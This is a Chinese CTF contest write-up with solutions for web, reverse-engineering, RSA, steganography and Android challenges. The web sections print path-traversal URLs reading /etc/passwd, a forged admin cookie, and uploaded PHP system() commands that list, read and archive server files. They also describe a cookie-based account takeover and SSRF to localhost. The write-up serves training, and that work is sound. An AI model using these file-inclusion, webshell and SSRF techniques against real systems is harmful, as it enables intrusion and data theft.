第四届全国网络空间安全技术大赛 writeup

web2

进去后url如下:

http://117.34.116.192/index.php?file=login.html

这道题一看url格式,便考虑到PHP文件包含。但是使用php://filterphp://input进行测试的时候,发现“:”被过滤了。
于是一套乱摸,倒是摸到了两个敏感文件:

http://117.34.116.192/index.php?file=../../../../etc/apache2/apache2.conf
http://117.34.116.192/index.php?file=../../../../etc/passwd

都能读出来,但没什么用,想找aceess.log也没找到。
后来发现存在git源码泄漏:

于是使用githack这个工具,下载到了网站源码:


查看了一下index.php,发现是php-screw加密的,到网上查了下,使用下面这款工具可以解密:
https://github.com/firebroo/screw_decode
解出来index.php源码如下:

<?php
    error_reporting(0);
    if(!isset($_GET['file'])||empty($_GET['file'])){
         header('Refresh:1,url=index.php?file=login.html');
         die;
    }
    $file  = $_GET['file'];

    if ((strpos($file,':')!==false)){
        header('Refresh:1,url=index.php?file=login.html');
        echo "illgal filename!!";
        die;
    }
    include_once($file);
?>

果然过滤了“:”。无奈审计了一下upload.php:

 <?php
    function Administrator($value){
        if(empty($_COOKIE['in_adminid']) || empty($_COOKIE['in_adminexpire']) || $_COOKIE['in_adminexpire']!==md5($_COOKIE['in_adminid'].$_COOKIE['in_adminname'].$_COOKIE['in_adminpassword'].$_COOKIE['in_permission'])){
            return False;
        }
        setcookie("in_adminexpire",$_COOKIE['in_adminexpire'],time()+1800);
        if(!empty($_COOKIE['in_permission'])){
            $array=explode(",",$_COOKIE['in_permission']);
            $adminlogined=false;
            for($i=0;$i<count($array);$i++){
                if($array[$i]==$value){$adminlogined=true;}
            }
            if(!$adminlogined){
                return False;
            }
        }else{
            return False;
        }
        return true;
    }
    if (Administrator(2)){
        if(isset($_FILES['file'])){
            $filename = './img/img'.rand().'.jpg';
            move_uploaded_file($_FILES["file"]["tmp_name"],$filename);
            header('Refresh:3,url=index.php?file=upload.php');
            echo "Upload $filename Success!";
            die;
        }
    }else{
        header('Refresh:3,url=index.php?file=login.html');
        echo "Who are you!";
        die;
    }
?>
<!DOCTYPE html>
<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">
    <link rel="icon" href="../../favicon.ico">
    <title>图床后台</title>
    <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
    <link href="starter-template.css" rel="stylesheet">
  </head>
  <body>
    <script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
    <script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>     
    <form class="form-horizontal" action="upload.php" method="post" enctype="multipart/form-data">
    <fieldset>
      <div id="legend" class="">
        <legend class="">添加图片</legend>
      </div>
    <div class="control-group">
          <!-- Text input-->
          <label class="control-label" for="input01">图片名</label>
          <div class="controls">
            <input placeholder="请输入Message标题" class="input-xlarge" type="text" name="title">
          </div>
        </div>

    <div class="control-group">
          <label class="control-label">附件</label>
          <!-- File Upload -->
          <div class="controls">
            <input class="input-file" id="file" type="file" name='file'>
          </div>
        </div>

    

    <div class="control-group">
          <label class="control-label">预览</label>
          <!-- Button -->
          <div class="controls">
            <button class="btn btn-success">Submit</button>
          </div>
        </div>

    </fieldset>
  </form>
  </body>
</html>

可以伪造cookie进行访问,并且cookie的条件一定要满足几个条件

  1. in_permission=2
  2. in_adminid、in_adminname、in_adminpassword、in_adminexpire都要设置
  3. in_adminexpire的值为前面几个组成字符串的md5。
    所以,构造cookie如下:
in_adminid=1
in_adminname=admin
in_adminpassword=admin
in_permission=2
in_adminexpire=5d7a9e2c9e55c06ac7d03e52dcacbb25

伪造cookie后可以成功访问upload.php:



随便找张图片上传,结果正如上述源码中一样,会被重命名为随机数字+.jpg,并且图片地址会显示到前端:


image.png

这样一来上传网马后,不能直接访问url运行木马了,但是综合前面的文件包含,可以做到让木马执行。
本来想上传个大马,结果成功加载了,奈何输入密码后页面乱了。。。
成功出现大马页面
尴尬的页面

大马不能执行,就了下换思路,手写php代码,读网站根目录 -> 找到flag文件 -> 读出flag。
首先是读网站根目录:

<?php echo system('ls /var/www') ?>

把这个文件上传后,使用文件包含,成功读出下级目录:



接下来读/var/www/html目录下的文件:

<?php echo system('ls /var/www/html') ?>

flag文件明显是f14g.php,本来以为访问就稳了,没想到是个空页面。看来只能把它读出来了。
使用下面命令:

<?php echo system('cat /var/www/html/f13g.php') ?>

读出来是这么一串:



使用php screw解密工具,发现解不出来,真的很烦人,眼看到最后一步了flag就是不出来。。
后来经过比对,发现应该是网页编码的原因,能正常解密的如下图上半部分所示,下半部分的明显跟它长的不一样。所以还得换种思路


后来想到了一个骚操作,既然访问乱码,那干脆把你压缩后下载下来不就完事了?
骚代码如下:

<?php
system('tar zvcfP /var/www/html/img/img123.tar /var/www/html/f14g.php');

注意,考虑到网站根目录可能不存在写权限,把它写到img文件夹下面是比较稳的选择。
执行完后,下载img123.tar,成功得到flag文件,这次使用php screw解密工具,终于拿到了flag……



web狗的生存越来越艰难了。。

后记:
看别人的writeup,是写了个一句木马连上的。。当时大马连接失败后为什么没用这个,唉。可以省不少时间

re1

题目给了一个pyc文件,可以用uncompyle2转成py文件

发现主要是把输入作为encodestr()函数的参数,然后将返回值与一个数组比较。
看encodestr函数,发现keyc为输入求md5取后4位,string的末尾是输入字符串,只有这两个变量直接受输入影响,其他一些变量都是已知或受keyc影响,而string只在最后异或来求result。也就是说可以爆破keyc,通过result反求出string,如果string的末尾(输入内容)求md5的后4位与keyc相等,就说明得到了正确的string。爆破脚本如下:

#! /usr/bin/env python 2.7 (62211)
#coding=utf-8

from hashlib import md5
import base64
from time import time
from datetime import datetime
import sys
 
def encodestr(keyc):
    UC_KEY = '123456789'
    key = md5(UC_KEY.encode('utf-8')).hexdigest()
    keya = md5(key[0:16].encode('utf-8')).hexdigest()
    keyb = md5(key[16:32].encode('utf-8')).hexdigest()
    ckey_length = 4
    #keyc = md5(string.encode('utf-8')).hexdigest()[-ckey_length:] #输入md5后4位
    cryptkey = md5((keya + keyc).encode('utf-8')).hexdigest() #后4位与确定数的md5
    key_length = len(cryptkey)
    expiry = 20
    #string = '%10d' % expiry + md5((string + keyb).encode('utf-8')).hexdigest()[0:16] + string
    box = range(256)
    rndkey = [0] * 256
    for i in range(256):
        rndkey[i] = ord(cryptkey[i % key_length])
 
    string_length = 49
    d = [128, 220, 109, 113, 242, 153, 181, 203, 21, 122, 2, 101, 42, 55, 56, 19, 190, 181, 99, 47, 217, 109, 129, 221, 9, 65, 235, 48, 197, 103, 123, 86, 25, 112, 172, 175, 42, 168, 232, 81, 224, 170, 16, 210, 98, 229, 15, 30, 134]

    j = 0
    for i in range(256):
        j = (j + box[i] + rndkey[i]) % 256
        tmp = box[i]
        box[i] = box[j]
        box[j] = tmp
 
    a = 0
    j = 0
    string=''
    for i in range(string_length):
        a = (a + 1) % 256
        j = (j + box[a]) % 256
        tmp = box[a]
        box[a] = box[j]
        box[j] = tmp
        string+=chr(d[i]^box[(box[a] + box[j])%256])
    try:
        
        a=md5(string[26:].encode('utf-8')).hexdigest()[-ckey_length:]
        #print a
        if a==keyc:
            print string[26:]
            return 1
    except:
        pass
    return 0
 
 
mdstr='1234567890abcdef'
for c1 in mdstr:
    s1=c1
    for c2 in mdstr:
        s2=s1+c2
        for c3 in mdstr:
            s3=s2+c3
            for c4 in mdstr:
                s4=s3+c4
                encodestr(s4)


re2

第一个验证函数如下:



因为是每个字符ascii值模37,其实范围已经很小了,直接把每个字符可能的结果打印一下就基本就能判断出来了,脚本如下:

array=[0,0x23,0x19,0x16,0x22,0x08,0x17,0x18,0x12,0x17,0x1C,0x01,0x21]
flag=[]
for i in range(12):
    s=''
    for c in range(0x20,0x7f):
        if (c + array[i])%37==array[i+1]:s+=chr(c)
    flag.append(s)
print flag

可以推出来就是Hell0~Kitty


rsa1

正常RSA的原理是:
ed=1 % phi_n
加密:c=m^e%n
解密:m=cd=m(e
d)=m%n

这道题里,利用Crypto库的inverse函数求e模phi_n的逆d(当然结果并不是真正的逆,因为两者不互素),计算e*d % phi_n,结果为8,这样解密过程就成了:


故求出的结果是明文的8次方
脚本如下:

from Crypto.Util.number import bytes_to_long, getStrongPrime, GCD, inverse, isPrime
p=111052706592359766492182549474994387389169491981939276489132990221393430874991652628482505832745103981784837665110819809096264457329836670397000634684595709283710756727662219358743235400779394350023790569023369287367240988429777113514012101219956479046699448481988253039282406274512111898037689623723478951613
q=146182161315365079136034892629243958871460254472263352847680359868694597466935352294806409849433942550149005978761759458977642785950171998444382137410141550212657953776734166481126376675282041461924529145282451064083351825934453414726557476469773468589060088164379979035597652907191236468744400214917268039573
e=200
c=7797067792814175554801975939092864905908878472965854967525218347636721153564161093453344819975650594936628697646242713415817737235328825333281389820202851500260665233910426103904874575463134970160306453553794787674331367563821223358610113031883172742577264334021835304931484604571485957116313097395143177603380107508691261081725629713443494783479897404175199621026515502716868988672289887933681890547568860707175288422275073767747544353536862473367590288531216644146154729962448906402712219657000812226637887827912541098992158458173920228864293993030475885461755767069329678218760943185942331149777258713727459739405
fin=(q-1)*(p-1)

d = inverse(e, fin)

print (e*d)%(fin) #e*d=8 %(fin)
s=pow(c,d,q*p)
print s

结果为:

8790672647699888791168395876725267498380050204509042605325148440775761512060209862878377062250498277565324799241101114626203022698873680727368886696009248411945050428305804829613871379890954039096785744465245794789247131505229329627996841022729341182437065625045609809888462300362847200777304046131988810944506109283470335905223526693623008137885581446429211468764465976794495528511148211351567422881

在大数分解网站http://www.factordb.com/index.php 上分解可以得出开8次方的结果,转hex每2位转字符就得到flag了。


misc2 wp

题目提示这题可以在windows下解。

显而易见有ntfs流藏匿文件。

下载压缩包后,7-zip打开可以看到ntfs流隐藏的文件。

用word打开看了一遍,就只是个我有个梦想的英文版。

抖了个机灵用notepad打开,搜索f l a g(注意有空格),搜到了前半截flag。

这时候就陷入了江江江局。后面又抖了个机灵搜索 }, 于是拿到了后半截flag。

安卓 基础加密

进入看到MainActivity,关键代码如下,逻辑很清楚,就是输入的数字经过reinforce函数处理后作为submitFlag函数参数传入可以使返回值为1.


两个函数都是原生函数。


  1. 先看submitFlag


只是校验传入的字符串是否等于CxU+NEhbEVZDaWAmHUAlVgtxZ1lPaCQHBUoKQG4zJlk=,是则返回1

  1. 再看reinforce



    对字符串用passchange函数和encode函数处理后得到返回的字符串

Passchange 函数:将字符串依次与dest的每个字符异或,注意dest字符串为”my_S3cr3t_P@$$W0rD\0”,长度为0x13



Encode函数是一个base64编码功能。
解题代码如下:

import base64

s = 'CxU+NEhbEVZDaWAmHUAlVgtxZ1lPaCQHBUoKQG4zJlk='
print len(s)
dest = 'my_S3cr3t_P@$$W0rD\0'
res = base64.b64decode(s)
result = ''
for i in xrange(len(res)):
    result+=chr(ord(res[i])^ord(dest[i%0x13]))
print result


misc第一题,图片隐写

先用binwalk提取出隐藏文件,一个zip和一个txt,zip解压出的文件和txt一样,就不说了。binwalk命令如下:

binwalk -e xxx.jpg

从stego.txt可以明显看出是base64编码过的,decode后发现有base64隐写。跑脚本找出隐写内容,脚本如下:

def get_base64_diff_value(s1, s2):
    base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    res = 0
    for i in xrange(len(s1)):
        if s1[i] != s2[i]:
            return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
    return res

def solve_stego():

    with open('stego.txt', 'rb') as f:
        file_lines = f.readlines()

    bin_str = ''
    for line in file_lines:
        steg_line = line.replace('\n', '')
        norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
        diff = get_base64_diff_value(steg_line, norm_line)

        pads_num = steg_line.count('=')
        if diff:
            bin_str += bin(diff)[2:].zfill(pads_num * 2)

        else:
            bin_str += '0' * pads_num * 2

    res_str = ''

    for i in xrange(0, len(bin_str), 8):

        res_str += chr(int(bin_str[i:i+8], 2))
    print res_str

solve_stego()

输出内容即为flag内容

Web1 转自:https://www.anquanke.com/post/id/144862#h3-3

http://117.34.117.216
访问后跳转到登录页面
http://117.34.117.216/login.php
发现有注册,随意注册一个账号,登录后


发现要以admin的身份访问flag.php
查看源代码,发现还有change_password的功能

同时发现cookie中有username项

猜想可能存在越权问题
进入修改密码页面:

发现未做username的check
猜想直接使用了cookie中的username
随机修改cookie中的username为admin
同时修改密码
成功登入,来到管理页面:

发现可以获取远程图片
随手测试,发现题目会将远程访问到的页面内容写到本地的图片img目录中
尝试访问
http://127.0.0.1/flag.php
下载图片文件后获得flag:

得到flag
flag{dbf6e52d69973dd16d87d4a8c3816ca9}

这道题我做的时候做到最后一步,实在是没想到加载http://127.0.0.1/flag.php,
我当时写了个http://localhost/flag.php
好气啊!!!!!!!!!!


第一天晚上的时候,还冲到了并列第一,第二天一道没解出来……最后成绩很烂。就做出来这些题目,好歹进了线下。



最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,921评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,635评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,393评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,836评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,833评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,685评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,043评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,694评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,671评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,670评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,779评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,424评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,027评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,984评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,214评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,108评论 2 351
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,517评论 2 343

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,598评论 18 139
  • 2018/3/16 17:34:51 WEB题 1.签到题 题目:key在哪里? writeup:查看源代码即可获...
    Sec小玖阅读 22,368评论 1 11
  • 我使用的是火狐浏览器 使用火狐浏览器的hackbar插件 如果有错误的地方希望大家多多指出,多谢多谢 WEB2 点...
    yangc随想阅读 54,233评论 11 16
  • Lua 5.1 参考手册 by Roberto Ierusalimschy, Luiz Henrique de F...
    苏黎九歌阅读 13,733评论 0 38
  • git其实是是一个不用网络的仓库(本地仓库),你也可以把数据push到github上(远程仓库)。 你现在的pul...
    p712long阅读 252评论 0 0